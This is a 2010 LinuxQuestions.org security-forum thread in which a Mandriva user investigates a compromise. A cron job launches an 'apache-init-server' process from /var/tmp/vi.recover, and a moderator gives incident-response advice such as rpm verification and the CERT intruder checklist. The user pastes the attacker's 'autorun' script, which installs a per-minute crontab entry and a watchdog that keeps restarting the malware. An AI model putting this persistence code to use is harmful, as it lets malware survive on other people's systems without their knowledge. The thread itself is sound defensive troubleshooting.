LinuxQuestions.org
Review your favorite Linux distribution.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 09-26-2010, 03:02 AM   #1
jean-michel
Member
 
Registered: Mar 2004
Location: 78 france
Posts: 31
Blog Entries: 1

Rep: Reputation: 0
apache-init-server


hello i have the same problem i have done all the traces asked but i don t see how i can find the problem with this traces
my distrib is mandriva 2010.0 for i586
kernel 2.6.31.13-desktop-1mnb
i have no mail server
netstat -pean | grep 80 shows connections ... of course

//These posts were moved from the 100s of apache-init-server thread to avoid confusion: the original thread OP runs Centos in a server setting and this threads OP runs Mandriva in a client setting.

Last edited by unSpawn; 09-29-2010 at 10:10 AM.
 
Old 09-26-2010, 03:22 AM   #2
jean-michel
Member
 
Registered: Mar 2004
Location: 78 france
Posts: 31

Original Poster
Blog Entries: 1

Rep: Reputation: 0
sorry i continue
i have about 5400 lines by hour on access_log
locate has found one apache-init-server on an old partition
my address is <some.address.foo.bar>
i have several servers running (teamspeak , mumble, FMS )
no clients connected at this moment

Last edited by GrapefruiTgirl; 09-26-2010 at 05:50 AM. Reason: Moderator Edit: munged up that hostname for you
 
Old 09-26-2010, 05:34 AM   #3
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Quote:
Originally Posted by jean-michel View Post
i don t see how i can find the problem with this traces
Saying "locate has found one apache-init-server on an old partition" gives us exactly nothing in terms of information. My reply to the OP ended with the question of attaching the plain text "data.txt" file because I do not expect everybody to know what to look for. I suggest you do the same.

* BTW, please edit your last post and remove your host name. No need to advertise it.
 
Old 09-28-2010, 08:19 AM   #4
jean-michel
Member
 
Registered: Mar 2004
Location: 78 france
Posts: 31

Original Poster
Blog Entries: 1

Rep: Reputation: 0
first thanks for your efficient help
i have stopped my apache server at the init
but the process was still there in fact it is run in cron table
/var/tmp/vi.recover/update >/dev/null 2>&1


update shell runs another called run
run runs apache-init-server

it seems that autorun is near the beginning
cat autorun
Code:
#!/bin/sh
pwd > mech.dir
dir=$(cat mech.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/m.pid; then
pid=\$(cat $dir/m.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

Last edited by unSpawn; 09-28-2010 at 09:58 AM. Reason: //BB code tags
 
Old 09-28-2010, 03:38 PM   #5
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Thanks for posting information but it would be better to also post the location and information from running 'stat' on files. Now let's focus on finding out what the entry point is. Because that will dictate you what steps you must take once the investigation is complete. If you're not good at correlating logs then my Logwatch suggestion might be a good start. Since we need to ensure this is "just" a web stack compromise please also read and execute tasks from the CERT Intruder Detection Checklist and run a 'rpm -Vva|grep -v "\.\{8\}">/dev/shm/rpmvfy.log;'. Please be verbose when posting, if logs are too big for this forum please host them, pastebin or docs.google them or if all else fails contact me by email to be able to drop them off.
 
Old 09-29-2010, 03:51 AM   #6
jean-michel
Member
 
Registered: Mar 2004
Location: 78 france
Posts: 31

Original Poster
Blog Entries: 1

Rep: Reputation: 0
thans for the advices , but i am sorry i clear very often logs and i have not the one cooresponding to the file creation in vi.recover folder.
what is the use for rpm -Vva | grep ... for my knowledge
http://jeanmichel.gens.free.fr/divers/linux/rpmvfy.log
 
Old 09-29-2010, 03:54 PM   #7
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
'man rpm': verify. Create a list of files to investigate attributes. Note it doesn't handle files not known to the RPMDB.
 
Old 09-30-2010, 05:05 AM   #8
jean-michel
Member
 
Registered: Mar 2004
Location: 78 france
Posts: 31

Original Poster
Blog Entries: 1

Rep: Reputation: 0
thank you again i will keep in touch if i have some news i stay investigating
 
Old 09-30-2010, 03:27 PM   #9
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
During investigation you could stop the Cron daemon or in Bash deny any user from running crontabs by issuing '$>/etc/cron.allow'.
 
Old 10-01-2010, 01:50 AM   #10
jean-michel
Member
 
Registered: Mar 2004
Location: 78 france
Posts: 31

Original Poster
Blog Entries: 1

Rep: Reputation: 0
yes i have done it when i have read the scripts
by crontab -r
no trouble any more
 
Old 10-03-2010, 06:00 AM   #11
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Quote:
Originally Posted by jean-michel View Post
no trouble any more
Until you have found out how the attacker abused your system you have not solved the problem. Please respond by reading and executing tasks from the CERT Intruder Detection Checklist and post back as verbosely as possible.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
100's of "apache-init-server" deathsfriend99 Linux - Security 10 09-30-2010 03:26 PM
[SOLVED] How to get an apache that recognizes php, how to init mysql. rmknox Linux - Newbie 9 07-08-2010 12:36 PM
/etc/init.d/apache start doesn't work sharky Ubuntu 3 02-28-2007 02:06 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 11:56 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration